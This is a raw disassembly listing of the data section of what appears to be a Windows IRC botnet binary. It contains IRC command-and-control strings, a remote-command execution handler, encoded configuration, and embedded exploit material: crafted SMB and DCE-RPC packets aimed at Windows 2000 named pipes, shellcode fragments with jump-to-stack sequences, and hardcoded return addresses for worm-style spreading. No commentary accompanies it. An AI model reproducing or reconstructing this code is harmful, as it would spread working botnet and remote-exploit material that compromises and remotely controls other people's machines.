dword_419CC8 dd 12E5F8h ; DATA XREF: sub_40A9CF+96Cr
dd 2 dup(0)
dword_419CD4 dd 11709839h ; DATA XREF: sub_40A9CF+937r
dd 3 dup(0)
dword_419CE4 dd 24EBDF78h ; DATA XREF: sub_40A9CF+911r
align 10h
dword_419CF0 dd 1274D8h ; DATA XREF: sub_40A9CF+8FCr
dd 2 dup(0)
dword_419CFC dd 119530h ; DATA XREF: sub_40A9CF+8C5r
dd 2 dup(0)
dword_419D08 dd 5070h ; DATA XREF: sub_40A9CF+87Er
align 10h
aThisBuildIsBro db 'This build is broken and will not function properly.',0
; DATA XREF: sub_40A9CF:loc_40B1D8o
align 4
aThisBuildIsFul db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo
align 4
dword_419D68 dd 2343003h, 4B4F5242h, 2034E45h, 0 ; DATA XREF: sub_40A9CF:loc_40B1ADo
dword_419D78 dd 2333003h, 2034B4Fh, 0 ; DATA XREF: sub_40A9CF+7D2o
dword_419D84 dd 9Ah, 0 ; DATA XREF: sub_40A9CF+79Eo
dword_419D8C dd 95EFAFB7h, 0F78CDAE8h, 0F3ABB590h, 0EACDFBD5h, 90C4C3C2h
; DATA XREF: sub_40A9CF+790o
dd 90E0C0C0h, 0FDADB5E8h, 2 dup(0)
dword_419DB0 dd 4CFC788h ; DATA XREF: sub_40A9CF+77Ar
dd 2 dup(0)
dword_419DBC dd 225CC0D9h ; DATA XREF: sub_40A9CF+753r
dd 3 dup(0)
dword_419DCC dd 16C4931h ; DATA XREF: sub_40A9CF+6EDr
dd 3 dup(0)
dword_419DDC dd 0F6F3A5A0h, 0F584B2DAh, 818FC085h, 0E9A083AFh, 8484D4BBh
; DATA XREF: sub_40A9CF+534o
dd 87F6CDABh, 2 dup(0)
dword_419DFC dd 0D9D08FA6h, 0EEA29BE9h, 0A6BAFFBAh, 0F5BEA198h, 2 dup(0)
; DATA XREF: sub_40A9CF+448o
dword_419E14 dd 0E4F1A9B1h, 0FB9CBBCAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h
; DATA XREF: sub_40A9CF+437o
dd 0D1AA94F4h, 9DFEE3BFh, 0C4B489AFh, 0DED29490h, 0CCABACE9h
dd 0BDB1F9BBh, 2 dup(0)
dword_419E48 dd 21CC8h ; DATA XREF: sub_40A9CF+410r
align 10h
dword_419E50 dd 3F1EAF9h ; DATA XREF: sub_40A9CF+3E9r
align 10h
dword_419E60 dd 3EDD4F9h ; DATA XREF: sub_40A9CF+3BBr
align 10h
dword_419E70 dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h
; DATA XREF: sub_40A9CF+39Co
dd 3203A64h, 25023430h, 20373h
dword_419E90 dd 242660F8h ; DATA XREF: sub_40A9CF+2C0r
dd 2 dup(0)
dword_419E9C dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h
; DATA XREF: sub_40A9CF+2A1o
dd 3D203A64h, 2343003h, 2037325h, 0
dword_419EC0 dd 232320h ; DATA XREF: sub_40A9CF+1E3o
dword_419EC4 dd 2B7260F8h ; DATA XREF: sub_40A9CF+18Dr
align 10h
dword_419ED0 dd 8EB758h ; DATA XREF: sub_40A9CF+158r
dd 2 dup(0)
dword_419EDC dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h
; DATA XREF: sub_40A9CF+139o
dd 2037325h, 0
dword_419EF8 dd 473EDB0h ; DATA XREF: sub_40A9CF+106r
dd 2 dup(0)
dword_419F04 dd 4B43494Eh, 732520h ; DATA XREF: sub_40A9CF+CCo
; sub_40A9CF+EFo ...
dword_419F0C dd 1685E8h ; DATA XREF: sub_40A9CF+90r
dd 2 dup(0)
dword_419F18 dd 3C1A6B1h ; DATA XREF: sub_40A9CF+69r
dd 3 dup(0)
aLinkLink@linkP db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o
; sub_40D871+85Fo
align 4
asc_419F48: ; DATA XREF: sub_40C93C+30o
; sub_40C93C+B5o
unicode 0, <;>,0
asc_419F4C db '<=',0 ; DATA XREF: sub_40CA29:loc_40CE59o
align 10h
asc_419F50 db '>=',0 ; DATA XREF: sub_40CA29:loc_40CE07o
align 4
asc_419F54: ; DATA XREF: sub_40CA29:loc_40CDDBo
dw 3Eh
unicode 0, <>,0
asc_419F58 db '!=',0 ; DATA XREF: sub_40CA29:loc_40CDAFo
align 4
asc_419F5C db '==',0 ; DATA XREF: sub_40CA29:loc_40CD83o
align 10h
aIpv6 db '$ipv6',0 ; DATA XREF: sub_40CA29:loc_40CC43o
; sub_40CA29:loc_40CD58o
align 4
aFirewall db '$firewall',0 ; DATA XREF: sub_40CA29:loc_40CC1Fo
; sub_40CA29:loc_40CD34o
align 4
aLatency db '$latency',0 ; DATA XREF: sub_40CA29:loc_40CBFBo
; sub_40CA29:loc_40CD10o
align 10h
aFree db '$free',0 ; DATA XREF: sub_40CA29:loc_40CBD7o
; sub_40CA29:loc_40CCECo
align 4
aVersion db '$version',0 ; DATA XREF: sub_40CA29:loc_40CBB1o
; sub_40CA29:loc_40CCC6o
align 4
aUptime db '$uptime',0 ; DATA XREF: sub_40CA29+158o
; sub_40CA29+26Do
a32s16s32s db '%32s %16s %32s',0 ; DATA XREF: sub_40CA29+EEo
align 4
asc_419FAC db '&&',0 ; DATA XREF: sub_40CA29+9Do
; sub_40CA29+45Do
align 10h
asc_419FB0: ; DATA XREF: sub_40CA29+28o
unicode 0, <)>,0
aExecutingComma db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co
align 10h
a6667 db '6667',0 ; DATA XREF: sub_40CF2F:loc_40CF60o
align 4
aCSCCUCUSCCC db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo
; sub_40D871+431o
align 10h
aG: ; DATA XREF: sub_40D043+1DCo
; sub_40D871+392o
unicode 0, <G>,0
aA_0: ; DATA XREF: sub_40D043+1C6o
; sub_40D871+37Co
unicode 0, <A>,0
aB: ; DATA XREF: sub_40D043+1B0o
; sub_40D871+366o
unicode 0, <B>,0
aUnk db 'UNK',0 ; DATA XREF: sub_40D043+160o
; sub_40D871+316o
aUserSSSS db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o
align 4
aPassS db 'PASS %s',0 ; DATA XREF: sub_40D043+3Fo
aNoticeS db 'NOTICE %s :',0 ; DATA XREF: sub_40D420+10o
; sub_40D53F+37o
aPrivmsgS db 'PRIVMSG %s :',0 ; DATA XREF: sub_40D4AB+10o
; sub_40D53F+AFo
align 4
dword_41A038 dd 1 ; DATA XREF: sub_40D53F:loc_40D680o
dword_41A03C dd 7373656Dh, 20656761h, 0 ; DATA XREF: sub_40D53F:loc_40D629o
dword_41A048 dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_40D53F+8Fo
dword_41A058 dd 56495250h, 2047534Dh, 3A207325h, 1 ; DATA XREF: sub_40D53F+63o
aMirc db 'mIRC',0 ; DATA XREF: sub_40D734+6o
; sub_40D74D:loc_40D76Eo
align 10h
asc_41A070: ; DATA XREF: sub_40D871+CB7o
unicode 0, <*>,0
aNotice db 'NOTICE',0 ; DATA XREF: sub_40D871:loc_40E1C0o
; sub_40E618+89o
align 4
asc_41A07C db '][',0 ; DATA XREF: sub_40D871+807o
; sub_40D871+88Co
align 10h
a332 db '332',0 ; DATA XREF: sub_40D871:loc_40DF8Eo
aNick db 'NICK',0 ; DATA XREF: sub_40D871:loc_40DF3Eo
align 4
a@: ; DATA XREF: sub_40D871:loc_40DEBEo
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_40D871:loc_40DE96o
; sub_40E618+33o
a451 db '451',0 ; DATA XREF: sub_40D871:loc_40DE70o
aUserhostS db 'USERHOST %s',0 ; DATA XREF: sub_40D871+5C4o
; sub_40D871+5EEo
aModeSXi db 'MODE %s +xi',0 ; DATA XREF: sub_40D871+571o
a001 db '001',0 ; DATA XREF: sub_40D871:loc_40DD97o
aModeSSmntu db 'MODE %s +smntu',0 ; DATA XREF: sub_40D871+515o
align 4
aJoin db 'JOIN',0 ; DATA XREF: sub_40D871:loc_40DD25o
align 4
aError db 'ERROR',0 ; DATA XREF: sub_40D871:loc_40DCFDo
align 4
a433 db '433',0 ; DATA XREF: sub_40D871:loc_40DB2Do
dword_41A0D8 dd 4950013Ah, 1474Eh ; DATA XREF: sub_40D871+290o
dword_41A0E0 dd 4950013Ah, 474Eh ; DATA XREF: sub_40D871:loc_40DAEBo
dword_41A0E8 dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_40D871+265o
aEggdropV1_6_16 db 'eggdrop v1.6.16',0 ; DATA XREF: sub_40D871:loc_40DAD1o
dword_41A108 dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h
; DATA XREF: sub_40D871+24Eo
dd 73256433h, 69572820h, 2932336Eh, 1
dword_41A12C dd 4556013Ah, 4F495352h, 14Eh ; DATA XREF: sub_40D871+226o
dword_41A138 dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_40D871:loc_40DA81o
aSend db 'SEND',0 ; DATA XREF: sub_40D871+CDo
align 4
dword_41A14C dd 4344013Ah, 43h ; DATA XREF: sub_40D871+A6o
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D871:loc_40D8DDo
; sub_40D871+901o ...
aMode db 'MODE',0 ; DATA XREF: sub_40D871:loc_40D8C2o
align 4
aPong db 'PONG',0 ; DATA XREF: sub_40D871:loc_40D8A7o
align 4
aPongS db 'PONG %s',0 ; DATA XREF: sub_40D871+25o
aPing db 'PING',0 ; DATA XREF: sub_40D871+Ao
align 4
aLinkLink@link db 'link!link@link',0 ; DATA XREF: sub_40E618:loc_40E7A5o
align 4
byte_41A18C db 41h ; DATA XREF: sub_40E979+3Cr
; sub_40EB4E+24r ...
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 10h
dword_41A1D0 dd 3430032Dh, 3732502h, 30032E02h, 73250234h, 202D0203h
; DATA XREF: sub_4129CA+5Co
dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h
dd 63207325h, 6C706D6Fh, 2E657465h, 0
dd 1130h, 0
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0F5h, 28h, 5Ch
dd 400DC28Fh, 5 dup(0)
dd 1, 0
dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h)
dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h
dd 2 dup(77E216B8h), 1130h, 0
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0F5h, 28h, 5Ch
dd 400DC28Fh, 5 dup(0)
dd 1, 0
dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch, 5E21B8EFh
dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0
dd 2 dup(4A9D5E21h), 0
dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h)
dd 2 dup(71AB7BFBh), 7C941EEDh, 77E216B8h, 77FD1F89h, 2 dup(77E216B8h)
dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
aFxnbfxfxnbfxfx:
unicode 0, <FXNBFXFXNBFXFXFXFX>,0
align 4
db 0CCh
db 0E0h, 0FDh, 7Fh
db 0CCh
db 0E0h, 0FDh, 7Fh
align 8
dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dd 20h, 0
dd 20h, 5C005Ch, 0
aC1234561111111:
unicode 0, <\C$\123456111111111111111.doc>,0
align 10h
dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h
dword_41A7A8 dd 5F5C0A0Dh, 2E2Fh ; DATA XREF: sub_410649+59o
; .text:00410B61o
dword_41A7B0 dd 30B0005h, 10h, 48h, 0 ; DATA XREF: sub_410649+Fo
dd 16D016D0h, 0
dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41A7FC dd 3000005h, 10h, 5 dup(0) ; DATA XREF: sub_410649+181o
dword_41A818 dd 10005h, 2 dup(0) ; DATA XREF: sub_410649+1ADo
dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0)
dd 90000h, 300h, 0
dd 300h, 5C005Ch, 0
dword_41A860 dd 0 ; DATA XREF: sub_410649+475o
dd 2, 0
dd 1, 91C68h, 1, 2 dup(0)
dd 0C0h, 46000000h, 2 dup(1), 7
; ---------------------------------------------------------------------------
loc_41A894: ; DATA XREF: sub_410649+153o
mov eax, [esp-4]
add eax, 0FFFFFAE0h
jmp eax
; ---------------------------------------------------------------------------
align 10h
loc_41A8A0: ; DATA XREF: sub_410649+E5o
mov eax, [ebp+30h]
add eax, 0FFFFFB24h
jmp eax
; ---------------------------------------------------------------------------
align 4
loc_41A8AC: ; DATA XREF: sub_410649+202o
jmp short loc_41A8BE
; ---------------------------------------------------------------------------
jmp short loc_41A8C9
; ---------------------------------------------------------------------------
dd 0
; ---------------------------------------------------------------------------
loc_41A8B4: ; DATA XREF: sub_410649+2DBo
jmp short near ptr word_41A8BA
; ---------------------------------------------------------------------------
dw 0FFFFh
db 2 dup(0FFh)
word_41A8BA dw 0 ; CODE XREF: .data:loc_41A8B4j
; ---------------------------------------------------------------------------
loc_41A8BC: ; DATA XREF: sub_410649+330o
jmp short near ptr word_41A8C2
; ---------------------------------------------------------------------------
loc_41A8BE: ; CODE XREF: .data:loc_41A8ACj
; .data:loc_41A8DCj
jmp short loc_41A8C4
; ---------------------------------------------------------------------------
db 2 dup(0)
word_41A8C2 dw 0 ; CODE XREF: .data:loc_41A8BCj
; ---------------------------------------------------------------------------
loc_41A8C4: ; CODE XREF: .data:loc_41A8BEj
; DATA XREF: sub_410649+385o
jmp short near ptr loc_41A8C9+1
; ---------------------------------------------------------------------------
dw 0FFFFh
db 0FFh
; ---------------------------------------------------------------------------
loc_41A8C9: ; CODE XREF: .data:0041A8AEj
; .data:loc_41A8C4j
inc dword ptr [eax]
; ---------------------------------------------------------------------------
db 0
aA: ; DATA XREF: sub_410649+449o
unicode 0, <\A>,0
align 8
dword_41A8D8 dd 77F33723h ; DATA XREF: sub_410649+25Ao
; ---------------------------------------------------------------------------
loc_41A8DC: ; DATA XREF: sub_410649+286o
jmp short loc_41A8BE
; ---------------------------------------------------------------------------
dw 7FFDh
; ---------------------------------------------------------------------------
loc_41A8E0: ; DATA XREF: sub_410649+22Eo
lahf
jnz short loc_41A8FB
loc_41A8E3: ; DATA XREF: sub_410649+13Do
add [ecx+1Ch], bl
loc_41A8E6: ; CODE XREF: .data:loc_41A8F0j
add [ecx], al
loc_41A8E8: ; DATA XREF: sub_410649+111o
or ecx, [ebx]
sbb eax, [eax]
loc_41A8EC: ; DATA XREF: sub_410649+127o
jmp short near ptr dword_41A8F4
; ---------------------------------------------------------------------------
align 10h
loc_41A8F0: ; DATA XREF: sub_410649+FBo
jmp short loc_41A8E6
; ---------------------------------------------------------------------------
align 4
dword_41A8F4 dd 85000000h ; CODE XREF: .data:loc_41A8ECj
; ---------------------------------------------------------------------------
call dword ptr [ebx+4Dh]
loc_41A8FB: ; CODE XREF: .data:0041A8E1j
inc edx
jb short $+2
; ---------------------------------------------------------------------------
dw 0
dd 0C8531800h, 3 dup(0)
dd 0FEFF0000h, 0
dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h
dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h
dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h
dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
dd 0
dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 4
dd 0
dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0
dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
dd 401495h, 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 40707Ch, 1, 0
dd 1, 0
dd 40707Ch, 1, 0
dd 1, 0
dd 40707Ch, 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dd 40A89Ah, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 40A89Ah, 1, 0
dd 1, 0
dd 40A89Ah, 1, 0
dd 1, 0
dd 40A89Ah, 1, 0
dd 1, 2 dup(0)
; ---------------------------------------------------------------------------
sub sp, 71Ch
jmp esp
; ---------------------------------------------------------------------------
align 4
dd 1004600h, 7515123Ch, 751C123Ch, 42B68ABAh, 42D01E50h
dd 34000112h, 0
dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh
dd 10h, 0
dd 34EEA51Bh, 0
dd 12400h, 0
dword_41AF50 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: .text:00410BB4o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_41AFDC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:00410BF4o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows20002_0:
unicode 0, <Windows 2000 2195>,0
aWindows20005_1:
unicode 0, <Windows 2000 5.0>,0
align 8
dword_41B088 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:00410C34o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_41B168 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
; DATA XREF: .text:00410C8Eo
dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
dd 244350h, 3F3F3F3Fh, 3Fh
dword_41B1A8 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
; DATA XREF: .text:00410CCBo
dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 0
dword_41B20C dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:00410D0Bo
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41B2B0 dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: .text:00410D68o
dd 3900800h, 3C1D0800h, 1C000010h, 0E0040003h, 0FFh, 2 dup(0)
dd 1C004A00h, 2004A03h, 2600h, 5C032340h, 45504950h, 5005Ch
dd 100300h, 31C0000h, 0
dd 3040000h, 0
dd 4221001Fh, 184E8h, 0
dd 10000h, 0
dd 1630000h, 0
dd 1630000h, 0
dword_41B338 dd 0 ; DATA XREF: .text:00410E19o
dd 0D7h, 1, 0
dd 1, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
align 4
dd 2 dup(0)
dword_41B35C dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: .text:00410E9Ao
dd 1C80800h, 7CC90800h, 80000010h, 0E0040004h, 0FFh, 2 dup(0)
dd 80004A00h, 2004A04h, 2600h, 5C048740h, 45504950h, 5005Ch
dd 100300h, 4800000h, 0
dd 4680000h, 0
dd 72B3001Fh, 1A381h, 0
dd 10000h, 0
dd 2150000h, 0
dd 2150000h, 0
dword_41B3E4 dd 0 ; DATA XREF: .text:00410F30o
dd 85h, 2, 0
dd 2, 2EBh, 85h, 2 dup(0)
dword_41B408 dd 20804h, 0 ; DATA XREF: .text:00410DD7o
; .text:00410DEDo ...
dword_41B410 dd 2080Ah, 0 ; DATA XREF: .text:00410DC1o
dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
dd 0FEFF0000h, 0
dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h
dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h
dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h
dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
dd 0
dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows20002_1:
unicode 0, <Windows 2000 2195>,0
aWindows20005_2:
unicode 0, <Windows 2000 5.0>,0
align 4
dd 0
dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0
dd 3F3F0000h, 3F3F3Fh, 0
dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0
dd 2019Fh, 4 dup(0)
dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h
dd 0
dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
dd 4780800h, 500800h, 48000010h, 0
dd 10h, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h
dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
dd 0
dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
